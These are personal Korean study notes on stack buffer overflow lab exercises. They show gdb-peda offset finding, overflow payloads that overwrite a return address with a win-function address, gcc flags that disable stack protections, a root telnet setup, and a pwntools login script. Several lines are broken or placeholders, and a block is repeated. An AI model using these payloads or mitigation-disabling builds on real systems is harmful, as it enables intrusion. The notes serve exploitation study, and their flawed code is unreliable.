리눅스 환경변수 설정
export GREENIE='AAAAA'

peda에서 패턴 만들기
pattern create 100

b *main+89

peda에서 패턴 오프셋 확인하기
gdb-peda$ pattern offset 0x41413341
1094792001 found at offset: 68

Exploit 코드
export GREENIE=$(python -c 'print "A"*68 + "\x0a\x0d"*4')

pwntools 사용방법
https://github.com/Gallopsled/pwntools-tutorial/blob/master/tubes.md

자동 접속 후 CLI 제어
python 2.7 버전에서 동작

설치
shell> sudo apt-get install python-dev
shell> sudo python2 -m pip install pwn

telnet 설치
shell> sudo apt-get install xinetd telentd
shell> sudo vi/etc/xintd.d/telnet
# default: off
service telnet
{
 disable = no
 flags = REUSE
 socket_type = stream
 wait = no
 user = root
 server = /usr/sbin/in.telnetd
 log_on_failure += USERID
}   

shell> /etc/init.d/xinetd restart 또는 service xinetd restart

테스트 사용자 생성
shell> useradd user1
shell> passwd user1

사용자 테스트
shell> telnet 127.0.0.1
login: user1
Password:

$> 셜 프롬프트

자동 스크립트 작성
shell> vi login.py
import pwn

/*
pwn.process() // 내부 접속
pwn.ssh() // 보안 접속
pwn.connect() // 외부 접속
*/

p = pwn.process(['telnet', '127.0.0.1']) // 인자 전달, 리스트 형식으로 전달

print p.recvuntil('login: ')
p.sendline('user1')

print p.recvuntil('Passwor: ')
p.sendline('1234') // 패스워드

print p.recvuntil('$')
p.sendline('echo 1234')
print p.recvline()

print "recv test"
print p.recvline()
print p.recvline()
print p.recvline()
print p.recvline()
:wq

패턴 생성
gdb-peda) pattern create 80
패턴 간격 확인
gdb-peda) pattern offset 패턴문구

환경변수 생성(cpu 빅엔디안, 리틀엔디안)
export TESTAAA=$(python -c 'print "A"*68 + "\x0d0a"*4)

win 함수 주소
win_addr = 0x~~~400577

페다에서 패턴 오프셋 확인하기
gdb-peda$ pattern offset 0x4134414165414149
4698452060381725001 found at offset: 72

파이썬 코드
from pwn import *

p = process('./stack3')
win_addr = p64(0x~~~400577)
payload = 'A'*72 + win_addr

p.sendline(payload)
print p.recvrepeat(1)

gcc 스택 오버플러우 허용.

gcc 스택오버플러우 허용 옵션
gcc -z execstack -no-pie -w -o

execstack : 기본 옵션처리에서 스택의 접근 권한을 할 수 업게한다. 이 옵션을 사용하면 스택에 접근 권한을 부여한다.

-no-pie : 기타 자료형이 메모리에 올라갈때 무작위 메모리 맵과 맵핑이 이루어진다. 이 옵션을 주면 무작위 맵핑 처리를 하지 말라는 의미.

gdb 어셈블러 화면구성 정보 추가.

peda 다운로드 사이트
https://github.com/longld/peda

설치
git clone https://github.com/longld/peda.git peda
echo "source peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"

참고:
./surface4/4.14/linux-surface-master/kernel/Documentation/frv/gdbinit
./Qt5.7.1/5.7/Src/qtwebengine/src/3rdparty/chromium/v8/tools/gdbinit

gdb 접근 후 패턴 생성
gdb-peda) pattern create 80
패턴 간격 확인
gdb-peda) pattern offset 패턴문구



자동 접속 후, CLI 실행

pwntools 사용방법
https://github.com/Gallopsled/pwntools-tutorial/blob/master/tubes.md

자동 접속 후 CLI 제어
python 2.7 버전에서 동작

설치
shell> sudo apt-get install python-dev
shell> sudo python2 -m pip install pwn

telnet 설치
shell> sudo apt-get install xinetd telentd
shell> sudo vi/etc/xintd.d/telnet
# default: off
service telnet
{
 disable = no
 flags = REUSE
 socket_type = stream
 wait = no
 user = root
 server = /usr/sbin/in.telnetd
 log_on_failure += USERID
}     

shell> /etc/init.d/xinetd restart 또는 service xinetd restart

테스트 사용자 생성
shell> useradd user1
shell> passwd user1

사용자 테스트
shell> telnet 127.0.0.1
login: user1
Password:

$> 셜 프롬프트

자동 스크립트 작성
shell> vi login.py
import pwn

/*
pwn.process() // 내부 접속
pwn.ssh() // 보안 접속
pwn.connect() // 외부 접속
*/

p = pwn.process(['telnet', '127.0.0.1']) // 인자 전달, 리스트 형식으로 전달

print p.recvuntil('login: ')
p.sendline('user1')

print p.recvuntil('Passwor: ')
p.sendline('1234') // 패스워드

print p.recvuntil('$')
p.sendline('echo 1234')
print p.recvline()

print "recv test"
print p.recvline()
print p.recvline()
print p.recvline()
print p.recvline()
:wq